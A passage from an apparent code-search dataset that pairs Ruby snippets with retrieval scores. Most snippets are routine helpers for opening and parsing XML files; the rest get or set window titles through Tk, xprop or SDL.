XML.from_file(\"test.xml\")\n c = XML.from_url(\"file:test.xml\")\n d = XML.from_url(\"string:<foo><bar></bar></foo>\")\n e = XML.parse(\"<foo><bar></bar></foo>\")\n f = \"<foo><bar></bar></foo>\".xml_parse\n g = XML.foo { bar! }\n \n assert_equal(g.to_s, a.to_s, \"File#xml_parse should work\")\n assert_equal(g.to_s, b.to_s, \"XML.from_file should work\")\n assert_equal(g.to_s, c.to_s, \"XML.from_url(\\\"file:...\\\") should work\")\n assert_equal(g.to_s, d.to_s, \"XML.from_url(\\\"string:...\\\") should work\")\n assert_equal(g.to_s, e.to_s, \"XML.parse should work\")\n assert_equal(g.to_s, f.to_s, \"String#xml_parse should work\")\n end", "title": "" }, { "docid": "0b5a05dc0b1050a8d15b257d5bc2dbc3", "score": "0.52438927", "text": "def readFile(filename)\n @srcFiles.push(filename) ;\n open(filename,\"r\"){|strm|\n @doc = XML::Document.new(strm) ;\n }\n end", "title": "" }, { "docid": "162dbf523a000e0230a71d0a2229e30b", "score": "0.5237669", "text": "def parse_file\n f = open_file\n puts \"INFO: opened file-handle to #{filename}\"\n begin\n process_file f\n ensure\n puts \"INFO: closed file-handle to #{filename}\"\n f.close\n end\n end", "title": "" }, { "docid": "38f07c624ea9f34a80b8bb7628caf2eb", "score": "0.5236258", "text": "def open_xml(rules_filename)\n @doc = Document.new(File.new(rules_filename))\n end", "title": "" }, { "docid": "46ecb28e3a4b9d69afedc11330124527", "score": "0.52335864", "text": "def parse_digital_entity filepath\n sax_document = DigitoolStreamRef.new\n Nokogiri::XML::SAX::Parser.new(sax_document).parse(File.open(filepath))\n return sax_document.stream_ref\nend", "title": "" }, { "docid": "290b9a54a4b563f944f8d020bd49f8c0", "score": "0.5230194", "text": "def load(userid, apikey, scope, name, args)\n filename = self.filename(userid, apikey,scope,name,args)\n if not File.exist?(filename)\n ret = false\n else\n xml = File.open(filename).read\n if self.validate_cache(xml, name)\n ret = xml\n else\n ret = false\n end\n end\n ret\n end", "title": "" }, { "docid": "ebda050429381562152d7a96a34423a8", "score": "0.52065545", "text": "def parse(file)\n xml_string = open(file, \"r\").read.to_s\n return parse_fnt_xml_info(xml_string), parse_fnt_xml_char_data(xml_string), parse_fnt_xml_kerning_data(xml_string), parse_fnt_xml_file(xml_string)\n end", "title": "" }, { "docid": "ebda050429381562152d7a96a34423a8", "score": "0.52065545", "text": "def parse(file)\n xml_string = open(file, \"r\").read.to_s\n return parse_fnt_xml_info(xml_string), parse_fnt_xml_char_data(xml_string), parse_fnt_xml_kerning_data(xml_string), parse_fnt_xml_file(xml_string)\n end", "title": "" }, { "docid": "294af7ee950389c60601a7d77c1d773f", "score": "0.5196904", "text": "def parse(file, node)\n parser = LibXML::XML::Parser.file(file)\n doc = parser.parse\n doc.find(node)\n end", "title": "" }, { "docid": "06f007c21f30780fddcd9af1247e4f68", "score": "0.51812726", "text": "def get_file_info\n Info.build_from_xml(@xml['info'])\n end", "title": "" }, { "docid": "febb285d2dd987e391d166b613dc2578", "score": "0.51720136", "text": "def treat_xml_source(xml_file=nil)\n xml_file=@config['meta']['uri'] if xml_file.blank?\n raise \"No xml file given\" if xml_file.blank?\n xml_file\n end", "title": "" }, { "docid": "fbe1e48034f441d6d695e99faf07d5a5", "score": "0.5165378", "text": "def instantiate(file, options={})\n @unresolved_refs = options[:unresolved_refs] || []\n @fragment_ref = options[:fragment_ref]\n @problems = options[:problems]\n @target_identifier_provider = options[:target_identifier_provider] ||\n lambda do |node| node[\"id\"] end\n root = nil\n root_class = options[:root_class].andand.ecore || root_class(doc.root.name)\n File.open(file) do |f|\n doc = Nokogiri::XML(f)\n @namespaces = doc.root.namespace_definitions\n root =instantiate_node(doc.root, root_class)\n end\n root\n end", "title": "" }, { "docid": "54d03aab00728bd060029e111894cdf8", "score": "0.5159452", "text": "def boilerplate_file_convert(file)\n Nokogiri::XML(file).root and return file\n to_xml(boilerplate_file_restructure(file))\n end", "title": "" }, { "docid": "cdc885af2693321859003284b68027b6", "score": "0.51560694", "text": "def process\n File.open(@file) do |f|\n page = markup(f.read)\n\n # Extract the url from the filename\n page[:id] = @file.split('/')[-1]\n\n # Store the processed info\n @content = page\n end\n end", "title": "" }, { "docid": "b68d5e9a85500cff8cc2c6e28582f8f5", "score": "0.5155147", "text": "def parsexml(xmlfile)\n require 'xmlsimple'\n XmlSimple.xml_in(xmlfile)\nend", "title": "" }, { "docid": "effe480fa7c9ca0c00a0433ae65abb36", "score": "0.51514226", "text": "def xml_parse\n open_url_with_file_fallback.to_hash\n end", "title": "" }, { "docid": "0478b4eedc9949066984016089b99e5f", "score": "0.51498944", "text": "def parse\n if @gccxml\n require 'tempfile'\n @results_file = Tempfile.new(\"rbgccxml\")\n parse_file = nil\n\n if @files.length == 1\n parse_file = @files[0]\n else\n # Otherwise we need to build up a single header file\n # that #include's all of the files in the list, and\n # parse that out instead\n parse_file = build_header_for(@files)\n end\n\n xml_file = @results_file.path\n @gccxml.parse(parse_file, xml_file)\n else\n xml_file = @xml_file\n end\n\n NodeCache.clear\n\n parser = SAXParser.new(xml_file)\n\n # Runs the SAX parser and returns the root level node\n # which will be the Namespace node for \"::\"\n parser.parse\n end", "title": "" }, { "docid": "60994ab8410ace51b176c75604058663", "score": "0.51481116", "text": "def setXmlFile(xmlFileTmp)\n @xmlFile = xmlFileTmp\n if(@xmlFile.index(\"//\") != nil)\n @xmlFile = Parser.replaceAll(@xmlFile,\"//\",\"/\")\n end\n if(File.exists?(@xmlFile) && !File.directory?(@xmlFile))\n @xml = @xmlTool.createHashtableFromFile(@xmlFile)\n end\n #else\n # if(!xmlFile.endsWith(\".admin\"))\n #Logger.doLog(Logger.ERROR,\"Error: '\"+xmlFile+\"' file exists:\"+(new File(xmlFile).exists())+\" is Directory:\"+(new File(xmlFile).isDirectory()));\n\n end", "title": "" }, { "docid": "7dc5eb5a29e891a399c3df625411c982", "score": "0.5146111", "text": "def read_big_xml\n return big_xml_file.read\nend", "title": "" }, { "docid": "f2ff9d03a67262927ae28bef69781838", "score": "0.51419884", "text": "def parse_file(filepath); end", "title": "" }, { "docid": "cfe3871f593ae8b7bd95ebeca2d53f59", "score": "0.5139898", "text": "def parse_opml_file(file)\n r = []\n \n f = File.new(file)\n \n doc = REXML::Document.new(f)\n \n doc.root.each_element('//outline[@type]') { |ele| r << ele.attributes if ele.attributes.has_key?('xmlUrl') }\n\n f.close\n \n r\nend", "title": "" }, { "docid": "562498121417d008a34cd4434a0e85c2", "score": "0.5138824", "text": "def load_xml(filename = T.unsafe(nil)); end", "title": "" }, { "docid": "8459100164d633dedac6ae6a6bb05d2e", "score": "0.51346755", "text": "def targetfile(entry, read: false)\n if entry[:type] == \"fileref\"\n [read ? File.read(x[:ref], encoding: \"utf-8\") : nil,\n entry[:ref].sub(/\\.xml$/, \".html\")]\n else\n [read ? @xml.at(ns(\"//doc-container[@id = '#{x[:id]}']\")).to_xml : nil,\n \"#{entry['id']}.html\"]\n end\nend", "title": "" }, { "docid": "905bc376a05cf2c8f9fbd114ab89d0ea", "score": "0.51216555", "text": "def read_xml\n @epub.file.read_xml(abs_filepath)\n end", "title": "" }, { "docid": "c9dd055506e7b181fdd68a31df48dd89", "score": "0.51202947", "text": "def open_file\n\t\tself.file = File.new(path_to_file, 'r')\n\tend", "title": "" }, { "docid": "7d741d9c35f8ddd0cd39a4f12371b12e", "score": "0.51184535", "text": "def read_xml(str)\n fl = File.open(str, \"r\")\n doc = Hpricot(fl)\n fl.close\n doc\nend", "title": "" }, { "docid": "9f18f5d797af0715537956ffb59f48b5", "score": "0.51119065", "text": "def read_file(filename, content_type = T.unsafe(nil)); end", "title": "" }, { "docid": "9f18f5d797af0715537956ffb59f48b5", "score": "0.51119065", "text": "def read_file(filename, content_type = T.unsafe(nil)); end", "title": "" }, { "docid": "b2f23f6f619c56052fea3185cabdce42", "score": "0.51069176", "text": "def get_file file\n (@file_cache[file] ||=\n [ \n read_yml(file), \n file, \n (File.size(file) rescue nil), \n (File.mtime(file) rescue nil)\n ].freeze\n ).first\n end", "title": "" }, { "docid": "8c1359050e51affda7be705cdc602254", "score": "0.50969267", "text": "def parse_file(filepath, entry_listener=nil)\n add_xml_listener entry_listener if entry_listener\n entries = parse(filepath)\n end", "title": "" }, { "docid": "2595a312dcd948494acb5668d2f3d2c1", "score": "0.50888044", "text": "def load_xml_file(filename)\n parse(File.readlines(filename).to_s)\n end", "title": "" }, { "docid": "248390f0998420285db4d69584741997", "score": "0.50792235", "text": "def read(xml_path) \n @file = Nokogiri::XML(File.open(xml_path)){ |cfg| cfg.noblanks } \n end", "title": "" }, { "docid": "405fc28b56c34dc4bbd475922a6d3e23", "score": "0.50696754", "text": "def parse_file(file)\n require 'yaml'\n o = OpenStruct.new(YAML.load_file(file))\n o.content = treat(file)\n return o\n end", "title": "" }, { "docid": "0a82ae3febcdb3f9aa9d9068e7b7e8e9", "score": "0.5064655", "text": "def process_xml(xml_file)\n hash = File.basename(xml_file, '.xml')\n\n # sadd returns true if the element was not in the set\n if redis.sadd('NEWS_HASHES', hash)\n content = File.read(xml_file)\n redis.rpush('NEWS_XML', content)\n true\n end\n end", "title": "" }, { "docid": "ccd257f9758aa7b18f42e50724e3add1", "score": "0.50643307", "text": "def parse_file(file_name, id)\n template_builder = TemplateBuilder.new(@loader)\n handler = (id == nil) ?\n template_builder : FilteredElementHandler.new(template_builder, id)\n\n parser = Parser::SimpleParser.new(handler)\n File.open(file_name) do |file|\n parser.parse(file)\n end\n\n return template_builder.template\n end", "title": "" }, { "docid": "c9889fb4cf402f756eb3d8b3bfa1c6fd", "score": "0.50626665", "text": "def read_xml(filepath, namespace=nil)\n data = read(filepath)\n Nokogiri::XML data\n end", "title": "" }, { "docid": "d75c575b6af3f7b988107a64b4d8e608", "score": "0.5058659", "text": "def find_podxml(uuid)\n podpath = self.path + 'POD_' + uuid + '.xml'\n case\n when @podxml_cache.has_key?(uuid)\n @podxml_cache[uuid]\n when File.exists?(podpath)\n px = File.read(podpath)\n if USE_LIBXML\n @podxml_cache[uuid] = XML::Parser.string(px).parse.root\n else # use REXML\n @podxml_cache[uuid] = REXML::Document.new(px)\n end\n else\n ''\n end\n end", "title": "" }, { "docid": "57d2aae4a0fc6696bfa65718a17309c7", "score": "0.50566447", "text": "def parse_files\n #Hash to store our results\n @host_results = Hash.new\n @log.debug(\"Files to be looked at : #{@scan_files.join(', ')}\")\n @scan_files.each do |file| \n file_content = File.open(file,'r').read\n doc = Nokogiri::XML(file_content)\n #Make sure that the file is actually XML\n next unless doc.root\n begin\n @log.debug(\"Got a sslyze file called #{file}, processing\")\n parse_file(doc)\n rescue Exception => e\n @log.warn(\"We got an error parsing #{file}\")\n @log.warn(e)\n end\n end\n end", "title": "" }, { "docid": "6a9e29dcea9413bab0c831b8cc8dda57", "score": "0.5052473", "text": "def parse_file(basename, xml_dir)\n Doxyparser::HFile.new :name => basename, :dir => xml_dir\n end", "title": "" }, { "docid": "6fef031eab7bbf83eb912ecd3c5f8d61", "score": "0.5052289", "text": "def parse\n @doc = XML::Document.file TEST_FILE_PATH, :options => XML::Parser::Options::NOBLANKS\n end", "title": "" }, { "docid": "4f6bf44d7ff6145161b51f139ead5f3b", "score": "0.50513667", "text": "def parser_type_for_filename(filename); end", "title": "" }, { "docid": "30eeb3e8f8567e56f88284ccb1a3cdf6", "score": "0.5048806", "text": "def load_xml(filename)\n File.read(File.dirname(__FILE__)+\"/fixtures/xml/#{filename}.xml\")\nend", "title": "" }, { "docid": "0449e306bcf51a999a00875ecd795c1a", "score": "0.50445455", "text": "def parse_file(file)\n parse(open(file))\n end", "title": "" }, { "docid": "9f8d0e287ee70998263b6e500def171b", "score": "0.5042946", "text": "def getXmlFile\n\t return @xmlFile\n end", "title": "" }, { "docid": "3e63c437e723150fda53a19aa18e3c49", "score": "0.504182", "text": "def urlposts_xml_file(url)\n fname = urlpost_fname url\n File.open fname\n end", "title": "" }, { "docid": "797ed8c25f373f98b0e8bffefb4e8577", "score": "0.5037921", "text": "def parse_file(filename)\n load_filedata(filename)\n if File.size(filename) == 0\n puts \"!! File cannot be empty: #{@slug}\"\n # throw an error?\n return\n end\n doc = Hpricot( open(filename) )\n \n # Only grab root level meta tags for layouts and templates...\n meta_q = (@is_template)? \"/meta\" : \"//meta\"\n \n doc.search(meta_q).each do |meta_tag|\n name = meta_tag[:name].gsub(' ', '_').gsub('-', '_').downcase.to_sym\n # Coerce the meta data value if it's defined...\n content = if meta_tag[:type]\n case meta_tag[:type].downcase.to_sym\n when :bool\n (meta_tag[:content] == 'true')\n when :boolean\n (meta_tag[:content] == 'true')\n when :int\n meta_tag[:content].to_i\n when :integer\n meta_tag[:content].to_i\n when :float\n meta_tag[:content].to_f\n when :double\n meta_tag[:content].to_f\n when :array\n meta_tag[:content].split(',').map {|ai| ai.strip }\n when :list\n meta_tag[:content].split(',').map {|ai| ai.strip }\n when :date\n Chronic.parse( meta_tag[:content] )\n else\n meta_tag[:content]\n end\n else\n meta_tag[:content]\n end\n # Create an array of values for a meta key if it's the second time it's used\n if metadata.has_key? name\n metadata[name] = [metadata[name]] unless metadata[name].is_a? Array\n metadata[name] << content\n else\n metadata[name] = content\n end\n end\n # Now, remove the meta tags...\n doc.search(meta_q).remove\n\n if @parse_mode == :index # Content objects\n doc.search(\"//title\").each do |title_tag|\n metadata[:title] = title_tag.inner_html\n end\n doc.search(\"//title\").remove\n \n # Whatever's left in the header, we'll pull out here...\n metadata[:head] = doc.at(\"head\").inner_html.squish\n \n doc.search(\"//head\").remove\n\n # Grab the rest of the root level nodes and add their inner_html\n # as metadata as well...\n doc.search(\"/*\").each do |tag|\n metadata[tag.name.to_sym] = tag.inner_html unless tag.blank? or tag.is_a?( Hpricot::Text )\n end\n\n else # The rest\n metadata[:body] = doc.to_html\n end\n end", "title": "" }, { "docid": "29b744438b25a3471d4f502163e2da2d", "score": "0.5037103", "text": "def parse_file\n # Ensure that a filename was passed in\n if ARGV.empty?\n puts 'A filename for parsing is required!'\n exit(1)\n end\n\n doc = parse_xml ARGV[0]\n\n if doc['ImlsExport'] == nil\n puts 'There was an error parsing the document!'\n puts \"Expected to find 'ImlsExport', found `#{doc.keys.inspect}` instead.\"\n exit(1)\n end\n\n # Create some convenience variables\n fiscal_year = doc['ImlsExport']['FiscalYear']['@year']\n now = DateTime.now.strftime('%FT%H%M')\n directory = \"generated/report-#{now}\"\n filenames = {\n 'FSR': \"FSRs-FY#{fiscal_year}-#{now}.csv\",\n 'Project': \"Projects-FY#{fiscal_year}-#{now}.csv\",\n }\n\n states = convert_hashes doc['ImlsExport']['FiscalYear']['State']\n headers = build_header_list states\n\n Dir.mkdir(directory)\n\n filenames.each_pair do |key, filename|\n write_csv filename, headers, states, key, directory\n end\n\n write_state_csvs states, directory, fiscal_year, now\n\n if ENV['GITHUB_TOKEN']\n `tar -C #{directory} -czvf generated/SPR-FY#{fiscal_year}-#{now}.tar.gz .`\n upload_zip \"SPR-FY#{fiscal_year}-#{now}.tar.gz\"\n end\nend", "title": "" }, { "docid": "e1626c5062723362333f28b25a540f2b", "score": "0.50252575", "text": "def parse_file(entry)\n puts \"parse_file:#{entry['path']}\"\n entry['name'] = entry['path']\n buf = File.open(entry['path'],\"r\").read #TODO coding detection\n entry['content'] = buf\n entry['line'] = 1\n entry['tag'] = File.extname(entry['path']).gsub('.','')\n entry['parsed'] = true\n [entry]\n end", "title": "" }, { "docid": "13012e11d0e255d37bd3f6d3febebdd3", "score": "0.50224906", "text": "def update_file(filename, &block)\n Zip::File.open(@template) do |file|\n data = file.get_entry(filename).get_input_stream.sysread\n doc = Nokogiri::XML(data)\n yield doc\n data.replace(doc.to_xml(:save_with => Nokogiri::XML::Node::SaveOptions::AS_XML))\n\n file.remove(filename)\n os = file.get_output_stream(filename)\n os.write(data)\n os.close\n end\n end", "title": "" } ]
0f92a72700c6fbe9babaf3ecd917fb0a
If string is specified, then it will be passed to the window manager for use as the title for window (the window manager should display this string in window's title bar). In this case the command returns an empty string. If string is not specified then the command returns the current title for the window. The title for a window defaults to its name.
[ { "docid": "7fe6148b60bc45798ab3a340d5eea37b", "score": "0.77408755", "text": "def title(window, string = None)\n if string == None\n Tk.execute(:wm, :title, window)\n else\n Tk.execute_only(:wm, :title, window, string)\n end\n end", "title": "" } ]
[ { "docid": "99e4c5a4360acf8da7d2b3e66718b833", "score": "0.6351212", "text": "def title\n string_command \"getTitle\"\n end", "title": "" }, { "docid": "f148d649018e286a12636bdc2fd796ca", "score": "0.631201", "text": "def title\n Functions.window_title(hwnd)\n end", "title": "" }, { "docid": "59d6629832605908886fc68c3844db72", "score": "0.63008416", "text": "def get_title\n\t\twid = ENV['WINDOWID']\n\t\treturn nil unless wid\n\t\toutput = ''; \n\t\tIO.popen(\"xprop -id #{wid}\") do |io| \n\t\t\twhile s=io.gets; output << s; end \n\t\tend\n\t\tm = output.match(/^WM_NAME\\(STRING\\) = \"(.*)\"/)\n\t\treturn m ? m[1] : nil\n\tend", "title": "" }, { "docid": "c54813bd268029dfe970b71e1b9543d9", "score": "0.6298939", "text": "def title string, config={}\n ## TODO center it\n @window.printstring 1, 30, string, $normalcolor, 'reverse'\n end", "title": "" }, { "docid": "2caca5947e2b54c3e32a18689a4172c5", "score": "0.61359143", "text": "def title\n @window.title\n end", "title": "" }, { "docid": "c219bc67fb89da8b0dd3d9d53f3be93f", "score": "0.6115669", "text": "def title=(text)\n Windows.set_console_title(text)\n end", "title": "" }, { "docid": "afa04ff5f795aa5b1121465721df88d0", "score": "0.60896397", "text": "def name\n\t\t\treturn `xdotool getwindowname #{@window}`.chomp\n\t\tend", "title": "" }, { "docid": "9c1e62609250141ea810df9b2cafd462", "score": "0.6050857", "text": "def title= s\n @window.title = s\n end", "title": "" }, { "docid": "5d97837a3931d3f911b49d10c728c15f", "score": "0.6026576", "text": "def title()\r\n system(\"xtitle Black-Tool\")\r\nend", "title": "" }, { "docid": "ae2f077fe415f0d12ee1fed52f214eea", "score": "0.5873117", "text": "def window_title(*args, &block)\n options = args.extract_options!\n if args.empty?\n options[:separator] ||= \" - \"\n @_window_titles ||= []\n prefix = Array(options[:prefix]) || []\n (prefix + @_window_titles).join(options[:separator])\n else\n super\n end\n end", "title": "" }, { "docid": "e06646e89a1ba4a2435b4b2fbdaf32c6", "score": "0.5809012", "text": "def title\n # TODO: implement this, gNotify requires a title?\n # To be compatible with gNotify the following switch is accepted:\n # -t,--title Does nothing. Any text following will be treated as the\n # title because that's the default argument behaviour\n \"\"\n end", "title": "" }, { "docid": "82f898cbd236a76ffb56bc5d9689e32d", "score": "0.5763802", "text": "def command\n \"#{local_app_name} #{type} --title \\\"#{title}\\\" --informative-text \\\"#{prompt}\\\"\"\n end", "title": "" }, { "docid": "340f877444e2f96e7a91017bb7a4b0e0", "score": "0.56432694", "text": "def command_recall_title\n close_level_window\n @command_window.open\n @command_window.activate\n end", "title": "" }, { "docid": "ed50752d4f199f1c7dec0962cf572d8e", "score": "0.5622034", "text": "def atomname(id, window = None)\n if None == window\n Tk.execute(:winfo, :atomname, id).to_s\n else\n Tk.execute(:winfo, :atomname, '-displayof', window, id).to_s\n end\n end", "title": "" }, { "docid": "ca157d38b08f9123a8ea073175929b4e", "score": "0.5621197", "text": "def title\n title = prop('_NET_WM_NAME')\n title or prop('WM_NAME')\n end", "title": "" }, { "docid": "a65c5276138d690d01242f2464179e23", "score": "0.56079715", "text": "def title(*args)\n options = args.extract_options!\n window_title(*args)\n page_title(args.last)\n hide_page_title if options[:hide_page_title]\n end", "title": "" }, { "docid": "a8925cfc683538eb49b42d50cd6352dd", "score": "0.55963814", "text": "def title=(title)\n @title = title\n @window.title = @title\n end", "title": "" }, { "docid": "c3f9121185a00c6d1823f30dcd960d64", "score": "0.55775416", "text": "def title\n SDL.WM_GetCaption\n end", "title": "" }, { "docid": "82f130ce4693695891bdb15698c2ae13", "score": "0.55746204", "text": "def first_window_of( s ) %Q{the first window of process \"#{s}\"} end", "title": "" }, { "docid": "01dea31026955f2a8cacf9df1d127011", "score": "0.5538088", "text": "def title=(new)\n SDL.WM_SetCaption(new, new)\n end", "title": "" }, { "docid": "92c03607369a7471f9e2afa27f930911", "score": "0.5532332", "text": "def window name, cwd, cmd\n tab name, cwd, cmd\n end", "title": "" }, { "docid": "28eeed9aa93abe7849ea0e4650e2cf3d", "score": "0.5530075", "text": "def get_command_title_from_arg(arg)\n arg.is_a?(String) ? [arg, arg[0..9]] : arg.values_at(:command, :title)\n end", "title": "" }, { "docid": "f7bbf0e02b07812ab847e9793b4a5dc3", "score": "0.5522751", "text": "def title stitle\n return unless stitle\n stitle = \"| #{stitle} |\"\n col = (@width-stitle.size)/2\n FFI::NCurses.mvwaddstr(@pointer, 0, col, stitle) \n end", "title": "" }, { "docid": "770a6b87e84e3a3740cfd578f3f27edb", "score": "0.5512303", "text": "def find_window(title=nil)\n if title\n window = windows.find {|w| w.name.to_s =~ title }\n Window.new(window) if window\n else\n Window.new(windows.first) unless windows.empty?\n end\n end", "title": "" }, { "docid": "c8c99afd67a0d716f131b1779996cef2", "score": "0.5506465", "text": "def title(string)\n string + \"\\n\" +\n '-' * string.length + \"\\n\"\n end", "title": "" }, { "docid": "a54c6b0b4eb03064c606b78a10e8c17e", "score": "0.5497332", "text": "def title(title)\n %Q{echo -n -e \"\\033]0;#{title}\\007\"}\n end", "title": "" }, { "docid": "17c9c856b52ee4c5b88ab84faccdde4a", "score": "0.54541516", "text": "def title_command_string(file=\"\")\n opts = %(\n -antialias\n -background '#{options.background_color}#{options.background_alpha}'\n -fill '#{options.color}'\n -font #{options.font_path}/#{options.font}\n -pointsize #{options.font_size}\n -size #{options.width}x#{options.height}\n -weight #{options.weight}\n -kerning #{options.kerning}\n caption:@-\n #{file}\n ).split(\"\\n\")\n \n opts.unshift \"-trim\" unless 0 < options.height.to_i\n opts.unshift \"-interline-spacing #{options.line_height}\" unless 0 == options.line_height.to_i\n \n opts.join(\" \").gsub(/\\s+/, ' ')\n end", "title": "" }, { "docid": "beb0934656104e46c3d07cdab186fe59", "score": "0.5451858", "text": "def active_window\n # Choose script to execute and format output to just window name\n case @os\n when /linux/i\n # Linux command to execute\n exe = \"xprop -id $(xprop -root 32x '\\t$0' _NET_ACTIVE_WINDOW | cut -f 2) _NET_WM_NAME\"\n\n # Filters for resulting string\n format = Filters.new(\n matches: [ Regexp.new(/.*\\\"(.*)\\\"\\n\\z/) ].\n add_if(@filter_opts.has_key? :matches){@filter_opts.delete(:matches)},\n **@filter_opts\n )\n [exe, format]\n when /darwin/i\n exe = <<-SCRIPT\n osascript -e '\n global frontApp, frontAppName, windowTitle\n\n set windowTitle to \"\"\n tell application \"System Events\"\n set frontApp to first application process whose frontmost is true\n set frontAppName to name of frontApp\n tell process frontAppName\n tell (1st window whose value of attribute \"AXMain\" is true)\n set windowTitle to value of attribute \"AXTitle\"\n end tell\n end tell\n end tell\n\n return windowTitle & \" - \" & frontAppName\n '\n SCRIPT\n\n format = Filters.new(\n matches: [ Regexp.new(/(.*)\\n/) ].\n add_if(@filter_opts.has_key? :matches){@filter_opts.delete(:matches)},\n **@filter_opts\n )\n [exe, format]\n else\n raise \"Not implemented for #{@os}\"\n end\n end", "title": "" }, { "docid": "cc63b334aa19d24f7753be3c5864086b", "score": "0.5440671", "text": "def default_title\n `git log -n 1 --oneline`.chomp\nend", "title": "" }, { "docid": "0c580d31728d3ca309d521eded1944a0", "score": "0.54222524", "text": "def title t=nil # --- {{{\n return @title unless t\n @title = t\n @window.printstring 0,0,@title, $normalcolor, 'reverse' if @title\n end", "title": "" }, { "docid": "6dd7f7f639f9f5d8d0a5d73ba7b8913f", "score": "0.5378138", "text": "def title\n return @args[:title]\n end", "title": "" }, { "docid": "bae2965d3d83337fa3734e7399779944", "score": "0.5358373", "text": "def create_title #On va définir la commande \"Afficher le titre du jeu\"\n @title = Window_Help.new(1) # Création de la fenêtre pour afficher le titre du jeu\n @title.set_text($data_system.game_title) # @title affiche le nom du jeu alias $data_system.game_title\n end", "title": "" }, { "docid": "d9ca029411460cd94ab2004c18aa6d97", "score": "0.53375447", "text": "def name(window)\n Tk.execute(:winfo, :name, window).to_s\n end", "title": "" }, { "docid": "a7f3d519da64ae8d2b70cbcc08a67a05", "score": "0.5317389", "text": "def create_title #On va définir la commande \"Afficher le titre du jeu\"\n @title = Window_Help.new(1) # Création de la fenêtre pour afficher le titre du jeu\n @title.set_text($data_system.game_title) # @title affiche le nom du jeu alias $data_system.game_title\n end", "title": "" }, { "docid": "f6709b101136ad5596ebe93dea48d44d", "score": "0.5316591", "text": "def command_name\n raise(RuntimeError, \"no command defined\") if self.commands.empty?\n self.command\n end", "title": "" }, { "docid": "556e536541323c1dd1fbb51eccaf2fb2", "score": "0.530773", "text": "def build_window_command(host)\n command = \"#{host.env_settings}xterm -T \" + shell_quote(host.title)\n if host.geometry and host.geometry.length > 0\n command += \" -geometry #{host.geometry}\"\n end\n ssh_cmnd = ssh_command(host)\n command += ' -e sh -c ' +\n shell_quote(\"#{ssh_cmnd} #{host.sshparams_noenv}\") + ' &'\n return command\n end", "title": "" }, { "docid": "0af2191edd43c10819c87e0a0264dce1", "score": "0.53057456", "text": "def title\n self.argument_string\n end", "title": "" }, { "docid": "11f6df988807e942efd53f514344faf5", "score": "0.5300145", "text": "def command(default = '')\n return string(get(:command, default))\n end", "title": "" }, { "docid": "ddd8e1e0873888d37b0ce67ba4b408a7", "score": "0.5299869", "text": "def build_window_command(host)\n command = 'gnome-terminal'\n if host.env_settings and host.env_settings.length > 0\n command = host.env_settings + command + ' --disable-factory'\n end\n if host.geometry and host.geometry.length > 0\n command += \" --geometry=#{host.geometry}\"\n end\n if host.profile and host.profile.length > 0\n command += ' --window-with-profile=' + shell_quote(host.profile)\n end\n command += ' --title=' + shell_quote(host.title)\n ssh_cmnd = \"#{ssh_command(host)} #{host.sshparams_noenv}\"\n command += ' -e ' + shell_quote(\"sh -c #{shell_quote(ssh_cmnd)}\")\n return command + ' &';\n end", "title": "" }, { "docid": "4b1d5ed49ed5eecd09c5a1fef2d294bb", "score": "0.5298459", "text": "def title(inject = nil)\n @title || label(inject)\n end", "title": "" }, { "docid": "ee1c44d4e28f3805b2053babaded4c11", "score": "0.5296818", "text": "def title= title\n\t\t\t@title = title\n\t\t\t\n\t\t\tif Process.respond_to? :setproctitle\n\t\t\t\tProcess.setproctitle(@title)\n\t\t\telse\n\t\t\t\t$0 = @title\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "426f2ad04175126d22c70a4c7abcbff0", "score": "0.52941406", "text": "def promptTitle; end", "title": "" }, { "docid": "2afdf7d8918fb5d9ea5e4226d732a730", "score": "0.52918416", "text": "def active_window\n # Choose script to execute and format output to just window name\n case @os\n when /linux/i \n exe = \"xprop -id $(xprop -root 32x '\\t$0' _NET_ACTIVE_WINDOW | cut -f 2) _NET_WM_NAME\"\n format = ->str{ str.match(/.*\\\"(.*)\\\"\\n\\z/)[1][0..60] }\n [exe, format]\n else\n raise \"Not implemented\"\n end\n end", "title": "" }, { "docid": "d70bf8a5fad334ae38984f865c33dd14", "score": "0.5288694", "text": "def setTitle(string)\n @ep.setTitle(string)\n end", "title": "" }, { "docid": "3b4a11c9b108ffbf583144da300853fb", "score": "0.52854073", "text": "def command_to_title()\n Sound.play_decision()\n @iex_command_window.visible = false\n @iex_command_window.active = false\n Graphics.fadeout(120)\n RPG::BGM.fade(800)\n RPG::BGS.fade(800)\n RPG::ME.fade(800)\n $scene = Scene_Title.new()\n end", "title": "" }, { "docid": "44fcf515ba75f8a9af8f870e20c2abd4", "score": "0.52825385", "text": "def command\n @args[0].downcase.to_sym\n end", "title": "" }, { "docid": "bf8f40f9cbdde768559e5ab8cf346dbb", "score": "0.527527", "text": "def window_title_set?\n controller.window_title_set?\n end", "title": "" }, { "docid": "85c06aab744cae4e01d37a1a52e4182c", "score": "0.52738214", "text": "def title(inject = nil)\n @title or label(inject)\n end", "title": "" }, { "docid": "ab3d14fef49602f923b197b9d402558b", "score": "0.5264465", "text": "def title=(string)\n @title = string\n end", "title": "" }, { "docid": "4fbd28feecd578cb6d9f39bc5e9a277f", "score": "0.5264009", "text": "def set_window_title(window, title)\n window.custom_title.set(title)\n end", "title": "" }, { "docid": "1a7d7d00611af759b902e2d944639708", "score": "0.5261513", "text": "def retrieve_command_name(args); end", "title": "" }, { "docid": "bbaa32c8f5b649bb45564d39611a3c93", "score": "0.52481544", "text": "def title!(*titles)\n window_title!(*titles)\n page_title!(titles.last)\n end", "title": "" }, { "docid": "e43f1bf893fb1e13042f513b4a9f2d2f", "score": "0.52391034", "text": "def get_working_title\n\t\tputs \"Enter working title or press enter if nothing to input: \"\n\t\tgets.chomp!\n\tend", "title": "" }, { "docid": "254fa2b4e909129115f150f30d75c458", "score": "0.5238399", "text": "def command\n @command ? @command.name : nil\n end", "title": "" }, { "docid": "5dbb0993392ddb27feb72aa91a271a62", "score": "0.52345437", "text": "def command_window=(window)\n @command_window = window\n end", "title": "" }, { "docid": "c70c708d09587fb99f8ab5c7725acbdb", "score": "0.52288216", "text": "def command_name(command_name = nil)\n command_name ? @command_name = command_name : @command_name\n end", "title": "" }, { "docid": "3f99aa13fb62d565448fd770827d7274", "score": "0.52274907", "text": "def cmd_name str\n @name = str[0..10]\n end", "title": "" }, { "docid": "91af2471c8e0797e50bd845390f6fc4a", "score": "0.5218687", "text": "def command_name\n @name\n end", "title": "" }, { "docid": "5836d2a480094b257ddbc71a7160b998", "score": "0.52173465", "text": "def title(title = nil)\n return @title if title.nil?\n @title = title\n end", "title": "" }, { "docid": "2c89fccd4a965cc7a9146810ffb8721a", "score": "0.52159286", "text": "def title\n @title ||= 